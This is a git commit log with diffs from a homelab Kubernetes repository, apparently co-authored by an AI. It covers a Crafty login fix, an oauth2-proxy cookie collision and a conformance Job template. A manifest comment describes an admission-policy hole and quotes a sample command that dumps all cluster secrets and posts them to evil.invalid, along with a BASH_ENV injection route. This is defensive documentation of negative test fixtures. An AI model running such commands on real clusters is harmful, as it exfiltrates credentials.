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jakman85andClaude Opus 5 01679a0681 docs(decisions): Crafty sign-in handoff — the gate was fine, the local login was the wall
gate / gate (pull_request) Successful in 1m35s
gate / conformance (pull_request) Has been skipped
Records what refused (Crafty's own 401, not oauth2-proxy), that the existing
bootstrap credential is still live (users.last_update == users.created), the
separate cookie-name collision fixed alongside, the traps measured rather
than assumed, the default.json seeding approach considered and rejected with
the entrypoint `ls -A` landmine that kills it, and — plainly — that no browser
round-trip was performed and the gate was rc 3, not green.

Written as its OWN FILE under decisions/ rather than appended to the tail of
DECISIONS-LOG.md. The single-file append is what made this PR (#22) and three
others unmergeable on 2026-09-29: every branch collided on the same last hunk,
with DECISIONS-LOG.md the only conflicting path in all four. The one-file-per-
entry layout and its ci/decisions-log.sh guard land in #24; this entry is
already written in that format, and validates against that checker (rc 0,
"1 entry well-formed"). This branch now touches DECISIONS-LOG.md not at all.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-09-29 22:48:18 -05:00
jakman85andClaude Opus 5 ea0c0632d2 fix(crafty): the Keycloak gate works -- Crafty's own login was the wall
Reported: "crafty does not sign in after signing into keycloak, and there is
no way to set the service up without credentials."

MEASURED, not inferred. The sidecar log settles which layer refused:

  GET /                        -> 302 to Keycloak
  [AuthSuccess] ... groups:[platform-admins]        <- oauth2-proxy is FINE
  GET /oauth2/callback         -> 302
  GET /login?next=/panel/dashboard -> 200           <- Crafty's OWN login page
  POST /api/v2/auth/login/     -> 401               <- Crafty refused

So the Keycloak gate was never broken. Crafty 4 has no OIDC and cannot consume
the sidecar's identity headers, so it shows its own local login to an already
authenticated user. That second factor is intended. What was NOT intended is
that nothing documented where its password comes from, which is exactly why
setup was impossible: Crafty generates it ONCE on first boot (users table
empty -> DatabaseBuilder.default_settings()) into /crafty/app/config/
default-creds.txt, mode 0600, on the PVC's `config` subPath. Never in git;
a fresh PVC generates a new one. The README asserted the double login was
"expected, not a bug" and then left the reader with no way forward.

Verified in-cluster that the existing credential is still usable, so the
service can be set up without touching the DB: users.last_update equals
users.created for `admin` (09/05/2026, 08:10:04), i.e. the password has never
been changed, and admin's last_login is 09/14 from 127.0.0.1 -- the API login
that created the "homelab" server. default-creds.txt is therefore live.

ALSO FIXED -- a real, separate defect found while proving the above, which
produces the reported symptom intermittently and would have been blamed on
Keycloak forever: this sidecar and the SHARED forward-auth oauth2-proxy both
emitted oauth2-proxy's DEFAULT cookie names (_oauth2_proxy,
_oauth2_proxy_csrf) scoped to .home.keithjackson.dev, while holding DIFFERENT
cookie-secrets (compared the two live Secrets: they differ, so neither can
decrypt the other's cookie). One cookie pair, two proxies: whichever
authenticated last clobbered the other's session; the loser logged "No valid
authentication in request", bounced to Keycloak, and -- SSO session still live
-- was redirected straight back, clobbering it again. Fixed on this side only
(renaming the shared proxy's cookie would sign out every other gated app):
a unique --cookie-name plus a host-scoped --cookie-domain, since a per-app
reverse proxy has no reason to broadcast its session zone-wide.
--whitelist-domain stays zone-wide: it governs redirect targets, not cookies.

Two traps measured rather than assumed, both now documented:
  - The 3-strikes cooldown CANNOT fire behind this sidecar. Crafty records
    attempts under get_remote_ip() (honours X-Forwarded-For -- the live
    tracker key is the chain "192.168.2.132, 10.0.0.123") but checks the
    cooldown under request.remote_ip, which is always 127.0.0.1 here. The
    halves key differently, so get_recent_attempts() always reads empty.
    Good (no lockout risk) and bad (that throttle is not a control we have).
  - Crafty's `set_passwd` console command is unreachable in k8s: it calls
    getpass.getpass() and needs a TTY; the container runs `main.py -d -i`.
    Recovery has to go through the DB, and argon2 is installed ONLY in
    /crafty/.venv/bin/python -- the system python3 lacks it.

Deliberately NOT done: an initContainer seeding default.json from a SOPS
Secret to make a rebuilt Crafty's password deterministic. Crafty does support
that hook (find_default_password reads app/config/default.json, min 8 chars),
but the image entrypoint pulls its default config ONLY when app/config is
EMPTY -- so writing a file there pre-boot suppresses the whole config
bootstrap. Buying reproducibility means co-owning image-internal bootstrap
logic that a 4.11 bump could silently change, to replace a one-command
retrieval. Recorded in DECISIONS-LOG as considered and rejected.

New runbook runbooks/crafty-admin-credential.md: tell the two auth layers
apart from the sidecar log, retrieve and rotate the bootstrap credential,
and reset a lost one via argon2 -- generating the password in-pod into a 0600
file rather than passing it in, because dev.sh does not forward stdin (a
`kubectl exec -i` through it hangs; verified). Registered in the configMapGenerator
so the URL actually resolves, not just the file exists.

Gate: toolbox ./ci/gate.sh -- lint/l0/render-golden/l1 green, spec-immutability
green. rc 3 overall: gitea-settings SKIPPED (no SETTINGS_API_TOKEN) and L2/L3
NOT RUN (CLUSTER_AVAILABLE unset). No runtime browser round-trip performed --
the sign-in fix is UNVERIFIED end-to-end and needs the human test in the README.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-09-29 22:48:18 -05:00
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@@ -25,59 +25,20 @@ credentials — the Job's own scoped ServiceAccount does (R-SEC-02).
commented with the test/requirement that needs it — only as the matching fault-injection
test lands. This is a **privileged test identity**: never reused by workloads, its own
audit item.
- `chainsaw-job.yaml` — the **run template** (not reconciled; the trigger renders it per
run). Single entrypoint `./run.sh`; a clone init container delivers the suite at the
commit under test; artifacts leave over stdout. Its header is the authority on the
substitution tokens and the admission constraints it satisfies, and records the
`initContainers` hole that was found and closed alongside it — read it before editing
either file.
- `conformance-clone` — **arrives with PR #18**, not this one. The clone init container's
entire logic, baked into the runner image at `/usr/local/bin/conformance-clone`. It is a
file in the image rather than an inline script in the Job precisely so admission can pin
it: a policy cannot tell the committed script from an attacker's when both are just `args`
on `/bin/bash -c`. The repository URL and clone target are hardcoded **there** on purpose,
and `CONFORMANCE_REPO_URL`/`CONFORMANCE_SRC` are hard-failed on a mismatch rather than
honoured — a URL taken from env would let the trigger choose which repository's code runs
as `conformance-runner`. This branch's Job depends on that interface:
`CONFORMANCE_GIT_SHA`, `GITEA_USERNAME`/`GITEA_TOKEN`, a clone target of `/workspace/src`
(hence `workingDir: /workspace/src/conformance`), and `TMPDIR`/`HOME` under `/workspace`.
- `chainsaw-job.yaml` — the Job skeleton. Single entrypoint `./run.sh`; CI sets `args` to
`--requirements <touched IDs>` (merge gate) or `--layer all --strict-coverage` (phase
exit). Image pinned to `versions.env` `CHAINSAW_IMAGE`.
## Flow
1. CI (Gitea Actions) renders `chainsaw-job.yaml` — two `@@TOKEN@@` substitutions, the
runner image digest and the commit SHA — replaces `args` with the invocation shape, and
`create`s the Job under the narrow `conformance-trigger` identity (create/get jobs, get
pods + pods/log — *not* a broad kubeconfig, and deliberately **no `pods/exec`**).
2. Admission (`platform/kyverno/admission/conformance-trigger-job-shape.yaml`, Enforce +
fail-closed) admits only the committed shape. That policy, not the RBAC, is the boundary.
3. The **init container** runs `/usr/local/bin/conformance-clone` with **no args**: it
shallow-clones the repo into `/workspace/src`, fetches the commit if the shallow tip does
not already contain it, detaches onto it, and **asserts `HEAD` equals the requested SHA** —
the suite runs at the commit under test or not at all. The read-only Gitea credential
reaches `git` as env vars from `secretKeyRef` (secret `conformance-git-readonly`, keys
`username`/`token`), never as a volume: admission allows no volume but `workspace` and
`results`.
4. The runner executes `./run.sh` under `conformance-runner`, writing `report.junit.xml` +
`coverage/` to the `results` volume at `/results` (`CONF_ARTIFACTS`).
5. On exit — green, red or aborted — `run.sh` prints a delimited base64 tar of that tree to
stdout, carrying `bytes`, `lines` and `sha256` in **both** the BEGIN and END markers. CI
decodes it from `kubectl logs` and must make all five completeness checks listed above
`conf_emit_artifacts_tgz()` in `../run.sh`; a partial log then fails collection instead
of decoding to plausible garbage.
## Prerequisites before this Job can run at all
- **Secret `conformance-git-readonly`** in namespace `conformance`, keys `username` and
`token`: a **read-only** Gitea token for this repository. Never a write token or a
push-capable deploy key. **Does not exist** — operator, out of GitOps (plan §3 item 6).
- **The `conformance-runner` image** (plan §5 step 1) — built in **PR #18**, which must merge
before this template is usable; its digest is what the trigger substitutes. Contract the
image MUST meet, because the Job and the admission policy both depend on it:
- bash, git, python3, chainsaw and kubectl on `PATH`;
- a **uid 65532** non-root user — the Job's `runAsUser`/`fsGroup` pin it, so a different
uid in the Containerfile means the Job will not start;
- `conformance-clone` installed at **`/usr/local/bin/conformance-clone`**,
mode 0755. The policy rule `trigger-initcontainers-must-be-the-committed-clone-step` pins
that exact path, so an image without it cannot run the clone step and no other path will
be admitted.
1. CI (Gitea Actions, delivered in T-6.1b) creates a Job from `chainsaw-job.yaml` (via a
trigger with narrow rights: create Job + read its logs/status — *not* a broad
kubeconfig).
2. The Job clones/loads the impl repo at the commit under test into `/workspace` and runs
`./run.sh` under `conformance-runner`.
3. `run.sh` runs Chainsaw over the selected tests and writes `report.junit.xml` +
`coverage/` to the results volume (`/workspace/conformance/_artifacts`).
4. CI collects those artifacts (results volume or the terminating log stream, which echoes
their paths) and enforces the merge / phase-exit gate on them.
## Phase 0
No cluster exists, so nothing here is applied yet. These manifests are reconciled by Flux
+32 -267
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@@ -1,175 +1,23 @@
# =============================================================================
# In-cluster Chainsaw conformance Job — the RUN TEMPLATE (ADR-0011; docs/14)
# Serves docs/plans/l2-l3-conformance-ci-wiring.md §3 items 2 and 3.
# In-cluster Chainsaw conformance Job — SKELETON (ADR-0011; docs/14)
#
# NOT RECONCILED BY FLUX. `kustomization.yaml` deliberately omits this file: it is a
# TEMPLATE the CI trigger renders and submits once per run. Flux reconciling it would
# create a permanent Job object and fight the trigger for ownership.
# CI (Gitea Actions, T-6.1b) TRIGGERS this Job and waits for it; CI holds NO
# cluster credentials. The Job runs L1/L2/L3 under the scoped `conformance-runner`
# ServiceAccount (rbac.yaml), writes JUnit + coverage to a results location that
# CI collects, and enforces the merge / phase-exit gate on the outcome.
#
# CI (Gitea Actions) creates this Job and waits for it. CI holds NO broad kubeconfig —
# only the narrow `conformance-trigger` identity (create/get jobs, get pods + pods/log).
# In particular it has NO `pods/exec` and cannot `kubectl cp`, which is why results leave
# the Job over STDOUT (see "RESULTS TRANSPORT" below) and not over an exec channel.
# Two invocation shapes (CI sets args):
# * MERGE GATE: ./run.sh --requirements <touched R-IDs> (subset)
# * PHASE EXIT: ./run.sh --layer all (full suite)
#
# -----------------------------------------------------------------------------
# THE ADMISSION BOUNDARY THIS MANIFEST MUST SATISFY
# -----------------------------------------------------------------------------
# platform/kyverno/admission/conformance-trigger-job-shape.yaml is Enforce +
# failurePolicy: Fail, and it governs every Job `conformance-trigger` creates. It admits
# ONLY: exactly one container on a digest-pinned conformance-runner image,
# serviceAccountName conformance-runner, command ["./run.sh"], args drawn from
# --layer/--requirements/--include-scope/--strict-coverage plus plain value tokens, no
# host namespaces, non-root with privilege escalation off, and — the constraint that
# shapes everything below — NO VOLUMES BUT `workspace` AND `results`.
# Results artifact mechanism (delegated to WS-TEST by docs/14 open items):
# Chosen = a shared results emptyDir + a terminating log stream, with an
# OPTIONAL results PVC for durability across CI collection. For Phase 0 there is
# no cluster; this manifest is reconciled by Flux from Phase 1+ and exercised
# once L2/L3 can run. CI collects `report.junit.xml` + `coverage/` from the
# results volume (or scrapes the pod log, which echoes their paths).
#
# So the git credential CANNOT be a projected/secret volume, and the init container
# cannot have a scratch volume of its own. Both are solved inside the two allowed names:
# * the credential arrives as env vars via secretKeyRef (an env var is not a volume),
# BY SECRET NAME ONLY — no token literal ever appears in this file;
# * `$TMPDIR` and `$HOME` are pointed at directories on the `workspace` emptyDir, so
# readOnlyRootFilesystem stays true without a third volume and without subPath
# mounts (a kubelet-created subPath dir is root-owned 0755 and would not be writable
# by the non-root runner).
#
# Verify before changing anything here:
# kyverno apply platform/kyverno/admission/conformance-trigger-job-shape.yaml \
# --resource <rendered job> \
# --userinfo platform/kyverno/tests/conformance-trigger/user-info.yaml
# and see platform/kyverno/tests/conformance-trigger/ — the `real-template` case in
# resources.yaml is this shape, so `make -C ci l0` fails if it drifts out of admission.
#
# -----------------------------------------------------------------------------
# THE initContainers HOLE — FOUND AND CLOSED IN THE SAME PR (2026-09-29)
# -----------------------------------------------------------------------------
# As originally written, the policy read only `spec.template.spec.containers` (rule 1's
# pattern, rule 3's `containers[0].args`) and `volumes` (rule 2). `initContainers` was
# never examined, so the exact escalation the policy exists to stop was reachable one
# field over. MEASURED with the pinned CLI (kyverno v1.19.0), `containers[0]` left fully
# compliant:
#
# * this template with ONLY the init container's args replaced by
# `kubectl get secrets -A -o yaml | curl -X POST --data-binary @- http://evil.invalid/`
# * and (the coordinator's independent reproduction) a `privileged: true`
# `docker.io/library/alpine:latest` init container running `kubectl get secrets -A`
#
# -> pass: 3, fail: 0, warn: 0, error: 0, skip: 0 # BOTH ADMITTED
#
# `=(privileged): "false"` in rule 1 only ever applied to `containers[0]`.
#
# Closed by new rules in that policy, authorised by the coordinator in this PR
# (the original brief forbade policy edits; that was to stop the boundary being BENT to
# fit a Job, not to stop a hole being closed):
# * `trigger-initcontainers-must-be-the-committed-clone-step` — at most one init
# container, on the digest-pinned runner image, `command:
# ["/usr/local/bin/conformance-clone"]`, NO args, non-root, no privilege escalation,
# not privileged. The clone logic moved OUT of this manifest and into the image for
# exactly this reason: a policy cannot vet a shell script passed as `args`, so the
# script had to stop being caller-supplied data. It stays reviewable as
# conformance/incluster/conformance-clone.
# * `trigger-may-not-declare-ephemeral-containers` — `ephemeralContainers` was the same
# unread field. Upstream k8s is BELIEVED to reject it in a pod template; that was not
# verified here, and the rule costs nothing if it is true.
# * `trigger-env-names-must-be-the-committed-set` and `trigger-may-not-use-envfrom` — `env`
# was the same mistake a THIRD time. `command` is pinned, so injection moves to a variable
# the pinned command honours, and `BASH_ENV` alone is arbitrary code execution: bash
# sources it before running a non-interactive script. Names are allowlisted per container;
# VALUES and the `valueFrom` source Secret deliberately are not (values are legitimately
# environment-specific, and conformance-runner can already read this namespace's Secrets
# through its own RBAC, so pinning the source would buy nothing).
#
# Every probe is now a negative fixture in platform/kyverno/tests/conformance-trigger/ —
# `evil-initcontainer`, `initcontainer-with-args`, `second-initcontainer`,
# `evil-ephemeral-container`, `injected-env`, `injected-initcontainer-env`,
# `envfrom-whole-secret` — so they stay failing.
#
# THE GENERALISABLE LESSON, since this was the same bug three times: an "admit only the
# committed shape" policy is only as good as its enumeration of every field that can carry
# executable intent. `containers` was enumerated; `initContainers`, `ephemeralContainers` and
# `env` were not. Before adding a field to this Job, ask which rule reads it — and if none
# does, that is the finding, not an oversight to work around.
#
# The clone URL is hardcoded in the image entrypoint (and `CONFORMANCE_REPO_URL` is hard-failed
# on a mismatch rather than honoured) for exactly this reason. Do not move it into env.
#
# Note also that `kyverno apply` evaluates these rules whether or not `--userinfo` is
# supplied, so a CLI pass is evidence about the PATTERNS, not about the subjects filter.
#
# -----------------------------------------------------------------------------
# WHAT THE TRIGGER SUBSTITUTES — `@@NAME@@` tokens, NOT `${NAME}`
# -----------------------------------------------------------------------------
# The placeholder syntax is deliberately NOT shell syntax. `${NAME}` would be substituted by
# `envsubst`, which has no way to tell a token meant for rendering from a shell reference
# that belongs to a script — a trap this file walked into while the clone logic was still an
# inline bash script here. `@@NAME@@` cannot collide with anything, and a surviving `@@` in a
# rendered manifest is trivially greppable as "the trigger forgot to render this". Render
# with a two-token sed, nothing cleverer:
#
# sed -e "s|@@CONFORMANCE_RUNNER_IMAGE_DIGEST@@|${digest}|" \
# -e "s|@@CONFORMANCE_GIT_SHA@@|${sha}|" conformance/incluster/chainsaw-job.yaml
#
# @@CONFORMANCE_RUNNER_IMAGE_DIGEST@@ the 64-hex digest of the pinned runner image.
# Only the DIGEST is substituted — the registry path and the `@sha256:` pinning
# are committed literals, so the substitution cannot repoint the image at another
# repository, and the template still satisfies the policy's image pattern before
# rendering. An unsubstituted digest fails as ImagePullBackOff, loudly.
# @@CONFORMANCE_GIT_SHA@@ the 40-hex commit under test. The init container
# REFUSES to run unless it matches ^[0-9a-f]{40}$, so an unsubstituted placeholder
# or an injected value is a hard failure, never a run of the wrong tree.
#
# `args` is NOT a placeholder: it is a real list, and the trigger REPLACES it wholesale per
# invocation shape. Keeping it a committed list (not a substituted scalar) is what lets this
# file be handed to `kyverno apply` as-is.
#
# -----------------------------------------------------------------------------
# WHICH ARGS ACTUALLY RUN ON THIS IMAGE — `--layer` IS MANDATORY AND MUST NAME ONLY l2/l3
# -----------------------------------------------------------------------------
# The runner image ships bash, git, python3, chainsaw and kubectl. It deliberately does NOT
# ship flux, promtool, kyverno or kustomize, because L0/L1 are CI's job and run without a
# cluster. But run.sh runs its OFFLINE L0/L1 stages first for any selection that is not
# offline-only, and those stages need exactly those missing tools. Tracing run.sh:
#
# requirement_scoped_dirs() is layer-bounded ONLY when --layer is given and != all;
# offline_selected_dirs() then filters the selection to /l0-static/|/l1-rendering/.
#
# so:
# ["--layer","l2,l3"] -> offline selection EMPTY. RUNS.
# ["--layer","l2,l3","--requirements","R-NET-01"] -> intersected to L2/L3. RUNS.
# ["--layer","l2,l3","--include-scope","whole-repo"] -> scope union is ALSO
# layer-bounded, so only whole-repo-scoped L2/L3 tests (none today). RUNS.
# ["--requirements","R-NET-01"] (no --layer, so LAYER=all) -> unbounded: pulls that
# requirement's L0/L1 tests into the run. FAILS on the missing toolchain.
# ["--layer","all","--strict-coverage"] -> every L0/L1 test. FAILS.
#
# The first three are measured working by the image build (PR #18); the last two are measured
# failing. **The plan's "PHASE EXIT: --layer all" shape therefore cannot run in-cluster** — a
# full-suite run still belongs to CI for L0/L1 plus this Job for L2/L3, not to this Job alone.
# The committed default below is the narrowest shape that works.
#
# The admission policy's args allowlist is deliberately NOT narrowed to enforce this: a
# security boundary should not encode which toolchain an image happens to ship, and the failure
# mode of an allowed-but-unrunnable shape is a loud non-zero run, not an escalation. This
# comment is the enforcement, and `ci/conformance.sh` (plan §3 item 4) is where it must land.
#
# -----------------------------------------------------------------------------
# RESULTS TRANSPORT — base64 tar on STDOUT, truncation-detectable
# -----------------------------------------------------------------------------
# `command` is pinned to ["./run.sh"] by admission, so nothing can be appended after the
# suite to package artifacts. run.sh therefore does it itself, on an EXIT trap, when
# CONF_EMIT_ARTIFACTS_TGZ=1 (set below and nowhere else). It prints:
#
# === ARTIFACTS-TGZ-BASE64 BEGIN v1 rc=<rc> bytes=<n> lines=<l> sha256=<hex> ===
# <base64 of the tgz, wrapped at 76 columns>
# === ARTIFACTS-TGZ-BASE64 END v1 rc=<rc> bytes=<n> lines=<l> sha256=<hex> ===
#
# The BEGIN and END headers are byte-identical and both carry the size, the base64 line
# count and the sha256. A collector that checks all four (one BEGIN, one END, headers
# equal, line count and digest match) cannot mistake a truncated `kubectl logs` for a
# complete artifact set — which a bare blob would, because base64 decodes a truncated
# stream to plausible garbage without complaint. See the block comment above
# conf_emit_artifacts_tgz() in conformance/run.sh for the collector's exact obligations.
#
# `activeDeadlineSeconds` is deliberately shorter than the log-retention window: the
# transport is the pod's log, so the Job must finish while that log still exists.
# NOT applied in Phase 0 (no cluster). Image tag pinned to versions.env CHAINSAW_IMAGE.
# =============================================================================
apiVersion: batch/v1
kind: Job
@@ -180,10 +28,7 @@ metadata:
app.kubernetes.io/part-of: conformance
spec:
backoffLimit: 0 # deterministic: a failed conformance run is a failure, no retry
# A retry would also re-emit the artifact envelope, giving the collector two BEGIN
# markers in one log. backoffLimit 0 keeps "exactly one envelope per Job" true.
ttlSecondsAfterFinished: 3600
activeDeadlineSeconds: 5400 # L3 fault injection is slow; a hung run must not hold the gate
template:
metadata:
labels:
@@ -192,118 +37,38 @@ spec:
serviceAccountName: conformance-runner # scoped test identity (rbac.yaml)
restartPolicy: Never
securityContext:
# runAsUser is explicit, not inherited from the image's USER: `runAsNonRoot: true`
# alone only *rejects* a root image, it does not choose a uid, and the runner image
# is built by a separate task (plan §5 step 1). 65532 is the conventional
# distroless `nonroot` uid; the Containerfile MUST create it. fsGroup makes both
# emptyDirs group-writable for that uid.
runAsNonRoot: true
runAsUser: 65532
runAsGroup: 65532
fsGroup: 65532
seccompProfile: { type: RuntimeDefault }
initContainers:
# ---------------------------------------------------------------------
# Deliver the suite AT THE COMMIT UNDER TEST into the shared workspace.
#
# NO SCRIPT AND NO ARGS HERE, DELIBERATELY. The logic lives in the repo at
# conformance/incluster/conformance-clone and is baked into the runner image at
# /usr/local/bin/conformance-clone. That is what makes the init container
# ENFORCEABLE: while the script was inline as `command: ["/bin/bash","-c"]` +
# `args: [<script>]`, no admission policy could distinguish the committed script
# from an attacker's — both are just `args` on a shell, and a Job with a privileged
# alpine init container running `kubectl get secrets -A` was ADMITTED (measured
# 2026-09-29). Rule `trigger-initcontainers-must-be-the-committed-clone-step` now
# pins this container to that one path with NO args, so it carries no
# caller-supplied code. Read that entrypoint for the clone/fetch/assert logic
# and for why the repository URL is hardcoded THERE rather than passed in env.
#
# Only the commit SHA is caller-supplied, and the entrypoint refuses anything that
# is not 40 hex characters before it touches the network.
# ---------------------------------------------------------------------
- name: clone-suite-at-commit
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:@@CONFORMANCE_RUNNER_IMAGE_DIGEST@@
command: ["/usr/local/bin/conformance-clone"]
env:
- name: CONFORMANCE_GIT_SHA
value: "@@CONFORMANCE_GIT_SHA@@"
# BY SECRET NAME ONLY. Provisioned out-of-band by the operator (plan §3.6) as a
# READ-ONLY Gitea token with read access to this one repository — never a write
# token, never a deploy key with push. Keys: `username`, `token`.
# An env var is not a volume, which is how this coexists with the admission
# policy's workspace/results-only rule.
- name: GITEA_USERNAME
valueFrom:
secretKeyRef: { name: conformance-git-readonly, key: username }
- name: GITEA_TOKEN
valueFrom:
secretKeyRef: { name: conformance-git-readonly, key: token }
# Writable scratch + HOME on the workspace emptyDir, so the root filesystem
# stays read-only and no third volume is needed.
- name: TMPDIR
value: /workspace/tmp
- name: HOME
value: /workspace/home
volumeMounts:
- { name: workspace, mountPath: /workspace }
securityContext:
allowPrivilegeEscalation: false
readOnlyRootFilesystem: true
capabilities: { drop: ["ALL"] }
runAsNonRoot: true
resources:
requests: { cpu: 100m, memory: 128Mi }
limits: { cpu: "1", memory: 512Mi }
containers:
- name: chainsaw
# Digest-pinned under the conformance repository path — the admission policy
# rejects a mutable tag. Built from conformance/versions.env CHAINSAW_VERSION
# (+ kubectl, git, python3, bash); see plan §5 step 1.
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:@@CONFORMANCE_RUNNER_IMAGE_DIGEST@@
workingDir: /workspace/src/conformance
# PINNED BY ADMISSION. Nothing may wrap or follow it, which is why the artifact
# envelope is emitted by run.sh itself rather than by a shell one-liner here.
# PIN to versions.env CHAINSAW_IMAGE (ghcr.io/kyverno/chainsaw:v0.2.12).
image: ghcr.io/kyverno/chainsaw:v0.2.12
workingDir: /workspace/conformance
# The suite repo is delivered into /workspace (git clone init-container or
# a Flux-populated volume). run.sh is the single entrypoint (identical to local).
command: ["./run.sh"]
# Replaced wholesale by the trigger per invocation shape (see the header).
# `--layer l2,l3` and NOT `--layer all`: see the WHICH ARGS ACTUALLY RUN block.
args: ["--layer", "l2,l3"]
# CI overrides args per invocation shape:
# ["--requirements", "R-NET-01,R-NET-06"] (merge gate) OR
# ["--layer", "all", "--strict-coverage"] (phase exit)
args: ["--layer", "all", "--strict-coverage"]
env:
# run.sh derives CONF_ROOT from its own location; CONF_ARTIFACTS moves the
# artifact tree onto the `results` volume. It cannot live at its default
# conformance/_artifacts, because a volume mounted inside the clone target
# would make that directory non-empty and `git clone` would refuse it.
- name: CONF_ARTIFACTS
value: /results
# THE RESULTS CHANNEL. Set here and nowhere else: a local run must not spray a
# base64 tar over an operator's terminal.
- name: CONF_EMIT_ARTIFACTS_TGZ
value: "1"
- name: TMPDIR
value: /workspace/tmp
- name: HOME
value: /workspace/home
- name: CONF_ROOT
value: /workspace/conformance
volumeMounts:
- { name: workspace, mountPath: /workspace }
- { name: results, mountPath: /results }
- { name: results, mountPath: /workspace/conformance/_artifacts }
securityContext:
allowPrivilegeEscalation: false
readOnlyRootFilesystem: true
capabilities: { drop: ["ALL"] }
runAsNonRoot: true
# L3 fault injection drives etcd and Longhorn hard (see run.sh's HEAVY set and
# config/chainsaw-config.yaml); the limits bound the blast radius on a homelab
# node without starving the suite.
resources:
requests: { cpu: 250m, memory: 512Mi }
limits: { cpu: "2", memory: 2Gi }
volumes:
# ONLY THESE TWO NAMES ARE ADMISSIBLE. Do not add a third.
# Suite source, written by the init container: /workspace/src is the checkout,
# /workspace/tmp is $TMPDIR, /workspace/home is $HOME.
# Suite source: populated by an init-container git clone of the impl repo at
# the commit under test, OR a Flux-synced source volume. (Init container
# omitted from this skeleton; wire in T-6.1b.)
- name: workspace
emptyDir: {}
# Artifact tree ($CONF_ARTIFACTS). Its contents are what the STDOUT envelope
# carries; an emptyDir is sufficient because the transport is the log, not the
# volume. Swap for a PVC only if the log channel is replaced (plan §7 item 4).
# Results: CI collects report.junit.xml + coverage/ from here. Swap emptyDir
# for a results PVC if durability beyond pod lifetime is required.
- name: results
emptyDir: {}
+1 -111
View File
@@ -60,17 +60,6 @@
# _artifacts/status/status.md human requirement-status report (--status)
# _artifacts/status/status.json machine requirement-status report (--status)
#
# Environment (both set ONLY by the in-cluster Job, incluster/chainsaw-job.yaml):
# CONF_ARTIFACTS=<dir> relocate the artifact tree off the default
# conformance/_artifacts (the Job mounts a `results`
# volume, which cannot sit inside the git-clone target).
# CONF_EMIT_ARTIFACTS_TGZ=1 on exit — pass, fail or abort — print a delimited,
# checksummed base64 tar of the artifact tree to STDOUT,
# because `kubectl logs` is the only channel CI has out of
# the Job (no pods/exec, no kubectl cp). See the RESULTS
# TRANSPORT block below for the envelope and for the five
# checks a collector MUST make. Never set this locally.
#
# Run ledger (TRACKED — commit these; --record only):
# runs/<UTC>-<short-sha>/run.log full tee'd run output (carries the sentinels)
# runs/<UTC>-<short-sha>/report.junit.xml the JUnit for that same run
@@ -89,12 +78,7 @@ source "${CONF_ROOT}/lib/common.sh"
# shellcheck source=versions.env
source "${CONF_ROOT}/versions.env"
# CONF_ARTIFACTS relocates the whole artifact tree. The in-cluster Job needs it (see
# incluster/chainsaw-job.yaml): its `results` volume cannot be mounted at the default
# path, because that path is inside the directory the init container `git clone`s into and
# a mounted-in directory would make the clone target non-empty. Unset everywhere else, so
# a local run is byte-identical to what it always was.
ARTIFACTS="${CONF_ARTIFACTS:-${CONF_ROOT}/_artifacts}"
ARTIFACTS="${CONF_ROOT}/_artifacts"
COVERAGE_OUT="${ARTIFACTS}/coverage"
STATUS_OUT="${ARTIFACTS}/status"
JUNIT_OUT="${ARTIFACTS}/report.junit.xml"
@@ -224,100 +208,6 @@ if [ "${RECORD}" = 1 ] && [ -z "${CONF_RECORD_CHILD:-}" ]; then
exit "${RUN_RC}"
fi
###############################################################################
# RESULTS TRANSPORT (in-cluster only): a self-describing, truncation-detectable
# base64 tar of the artifact tree, printed to STDOUT. OFF unless CONF_EMIT_ARTIFACTS_TGZ=1.
#
# WHY THIS LIVES IN run.sh AND NOT IN THE JOB MANIFEST. The admission policy that bounds
# the CI trigger (platform/kyverno/admission/conformance-trigger-job-shape.yaml, Enforce +
# fail-closed) pins the Job's `command` to exactly ["./run.sh"], so no shell may wrap the
# suite to package artifacts afterwards. And the trigger identity deliberately holds NO
# pods/exec and cannot `kubectl cp` (R-SEC-02; docs/plans/l2-l3-conformance-ci-wiring.md
# §3.3 and §4), so `kubectl logs` is the ONLY channel out of the Job. The runner therefore
# has to put its own artifacts on its own stdout. It is an EXIT trap, so a FAILED run still
# ships its JUnit — the red report is the evidence the gate needs most.
#
# WHY THE ENVELOPE LOOKS LIKE THIS. `kubectl logs` is a lossy channel: `--tail`, a rotated
# CRI log file, a dropped watch, or CRI's per-line split can each deliver a mere PREFIX of
# the stream. base64 decodes a truncated stream without complaint, into a tar that gunzip
# may even partially unpack — silent, plausible garbage. So the envelope carries everything
# needed to PROVE completeness, and carries it TWICE:
#
# === ARTIFACTS-TGZ-BASE64 BEGIN v1 rc=<rc> bytes=<n> lines=<l> sha256=<hex> ===
# <base64 of the .tgz, wrapped at 76 columns>
# === ARTIFACTS-TGZ-BASE64 END v1 rc=<rc> bytes=<n> lines=<l> sha256=<hex> ===
#
# THE COLLECTOR MUST DO ALL FIVE CHECKS, and treat any failure as a COLLECTION FAILURE —
# never as "no artifacts", never as a pass:
# 1. exactly one BEGIN line and exactly one END line;
# 2. the two header payloads (everything after BEGIN/END) byte-identical — a mismatch
# means two interleaved or re-emitted envelopes in one log;
# 3. the count of body lines between them equals lines=;
# 4. the decoded byte count equals bytes=;
# 5. sha256 of the decoded bytes equals sha256=.
# No check is sufficient alone. A head-truncated log fails (1); a tail-truncated one fails
# (1); a dropped interior line fails (3) and (5); a corrupted line that preserves the line
# count fails (5). (1)+(2) are what make a partial log DETECTABLE rather than decodable,
# which is the whole design requirement.
#
# `rc=` is the suite's own exit code, carried INSIDE the envelope so CI can cross-check it
# against the Job's completion condition instead of trusting either signal alone.
#
# The archive holds the CONTENTS of the artifact tree (`tar -C "$ARTIFACTS" .`), not the
# directory itself: CONF_ARTIFACTS makes that directory's NAME environment-specific
# (`/results` in the Job, `conformance/_artifacts` locally), and an archive whose top-level
# entry changed with the environment would be a trap for the collector. It unpacks the
# contents wherever it likes.
#
# A packaging failure prints a single `... ERROR ...` marker and NOTHING else: no BEGIN, so
# the collector's check (1) fails and it cannot mistake the run for one with no artifacts.
###############################################################################
CONF_ARTIFACT_MARKER="ARTIFACTS-TGZ-BASE64"
CONF_ARTIFACT_ENVELOPE_VERSION="v1"
conf_emit_artifacts_tgz() {
local rc="${1:-0}"
# Disarm FIRST: this runs from the EXIT trap and re-arming would recurse on the `exit`
# below. That explicit `exit "${rc}"` is also what guarantees this whole function cannot
# change the run's verdict — nothing here can turn a red run green or a green run red.
trap - EXIT
(
set +e
local tmp tgz b64 bytes lines sha payload
